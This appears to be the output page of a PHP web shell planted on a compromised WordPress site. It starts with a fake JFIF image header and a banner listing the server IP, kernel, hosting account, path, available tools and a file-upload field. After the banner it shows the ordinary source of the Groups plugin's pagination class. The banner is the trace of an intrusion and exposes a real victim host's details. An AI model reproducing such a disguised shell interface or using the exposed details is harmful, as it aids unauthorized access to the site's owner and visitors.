????JFIF??x?x????'
| Server IP : 172.67.174.47  /  Your IP : 216.73.216.113 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././home/./tempvsty/pontiacques.org/wp-content/plugins/groups/lib/core/ | 
| Upload File : | 
<?php
/**
 * class-groups-pagination.php
 *
 * Copyright (c) "kento" Karim Rahimpur www.itthinx.com
 *
 * This code is released under the GNU General Public License.
 * See COPYRIGHT.txt and LICENSE.txt.
 *
 * This code is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * This header and all notices must be kept intact.
 *
 * @author Karim Rahimpur
 * @package groups
 * @since groups 1.0.0
 */
if ( !defined( 'ABSPATH' ) ) {
	exit;
}
/**
 * Pagination based on WP_List_Table.
 */
class Groups_Pagination {
	/**
	 * @var string
	 */
	private $_pagination = null;
	/**
	 * @var array
	 */
	private $_pagination_args = null;
	/**
	 *
	 * @param int $total_items how many items there are to display
	 * @param int $total_pages how many pages there are, normally leave set to null
	 * @param int $per_page how many results to show on each page
	 */
	public function __construct( $total_items, $total_pages, $per_page ) {
		$this->set_pagination_args(
			array(
				'total_items' => $total_items,
				'total_pages' => $total_pages,
				'per_page'	=> $per_page
			)
		);
	}
	/**
	 * Get the current page number
	 *
	 * @return int the current page number
	 */
	public function get_pagenum() {
		$pagenum = isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 0;
		if ( !isset( $_REQUEST['paged'] ) ) { // needed with rewritten page added
			$matches = array();
			if ( preg_match( "/(\/page\/)(\d+)/", $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], $matches ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
				$pagenum = absint( $matches[2] );
			}
		}
		if( isset( $this->_pagination_args['total_pages'] ) && $pagenum > $this->_pagination_args['total_pages'] ) {
			$pagenum = $this->_pagination_args['total_pages'];
		}
		return max( 1, $pagenum );
	}
	/**
	 * An internal method that sets all the necessary pagination arguments
	 *
	 * @param array $args An associative array with information about the pagination
	 *
	 * @access protected
	 */
	public function set_pagination_args( $args ) {
		$args = wp_parse_args( $args, array(
			'total_items' => 0,
			'total_pages' => 0,
			'per_page' => 0,
		) );
		if ( !$args['total_pages'] && $args['per_page'] > 0 )
			$args['total_pages'] = ceil( $args['total_items'] / $args['per_page'] );
		$this->_pagination_args = $args;
	}
	/**
	 * Returns or displays the pagination.
	 *
	 * @param string $which  where it's displayed
	 * @param boolean $echo displays if true, otherwise returns
	 *
	 * @return string|null
	 */
	public function pagination( $which, $echo = false ) {
		if ( empty( $this->_pagination_args ) ) {
			return;
		}
		$total_items = isset( $this->_pagination_args['total_items'] ) ? $this->_pagination_args['total_items'] : 0;
		$total_pages = isset( $this->_pagination_args['total_pages'] ) ? $this->_pagination_args['total_pages'] : 0;
		/* translators: number of items */
		$output = '<span class="displaying-num">' . sprintf( _n( '%s item', '%s items', $total_items, 'groups' ), number_format_i18n( $total_items ) ) . '</span>';
		$current = $this->get_pagenum();
		$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
		$current_url = remove_query_arg( array( 'hotkeys_highlight_last', 'hotkeys_highlight_first' ), $current_url );
		// needs to remove rewritten added page
		$current_url = preg_replace( '/\/page\/\d+/', '', $current_url );
		$page_links = array();
		$disable_first = $disable_last = '';
		if ( $current == 1 )
			$disable_first = ' disabled';
		if ( $current == $total_pages )
			$disable_last = ' disabled';
		$page_links[] = sprintf( '<a class="%s" title="%s" href="%s">%s</a>',
			'button first-page' . $disable_first,
			esc_attr__( 'Go to the first page', 'groups' ),
			esc_url( remove_query_arg( 'paged', $current_url ) ),
			'«'
		);
		$page_links[] = sprintf( '<a class="%s" title="%s" href="%s">%s</a>',
			'button prev-page' . $disable_first,
			esc_attr__( 'Go to the previous page', 'groups' ),
			esc_url( add_query_arg( 'paged', max( 1, $current-1 ), $current_url ) ),
			'‹'
		);
		if ( 'bottom' == $which )
			$html_current_page = $current;
		else
			$html_current_page = sprintf( '<input class="current-page" title="%s" type="text" name="%s" value="%s" size="%d" />',
				esc_attr__( 'Current page', 'groups' ),
				esc_attr( 'paged' ),
				$current,
				strlen( $total_pages )
			);
		$html_total_pages = sprintf( '<span class="total-pages">%s</span>', number_format_i18n( $total_pages ) );
		$page_links[] = '<span class="paging-input">' . sprintf( _x( '%1$s of %2$s', 'paging' ), $html_current_page, $html_total_pages ) . '</span>'; // phpcs:ignore WordPress.WP.I18n.MissingArgDomain, WordPress.WP.I18n.MissingTranslatorsComment
		$page_links[] = sprintf( '<a class="%s" title="%s" href="%s">%s</a>',
			'button next-page' . $disable_last,
			esc_attr__( 'Go to the next page', 'groups' ),
			esc_url( add_query_arg( 'paged', min( $total_pages, $current+1 ), $current_url ) ),
			'›'
		);
		$page_links[] = sprintf( '<a class="%s" title="%s" href="%s">%s</a>',
			'button last-page' . $disable_last,
			esc_attr__( 'Go to the last page', 'groups' ),
			esc_url( add_query_arg( 'paged', $total_pages, $current_url ) ),
			'»'
		);
		$output .= "\n" . join( "\n", $page_links );
		$page_class = $total_pages < 2 ? ' one-page' : '';
		$this->_pagination = "<div class='tablenav-pages{$page_class}'>$output</div>";
		if ( $echo ) {
			echo $this->_pagination; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		} else {
			return $this->_pagination;
		}
	}
}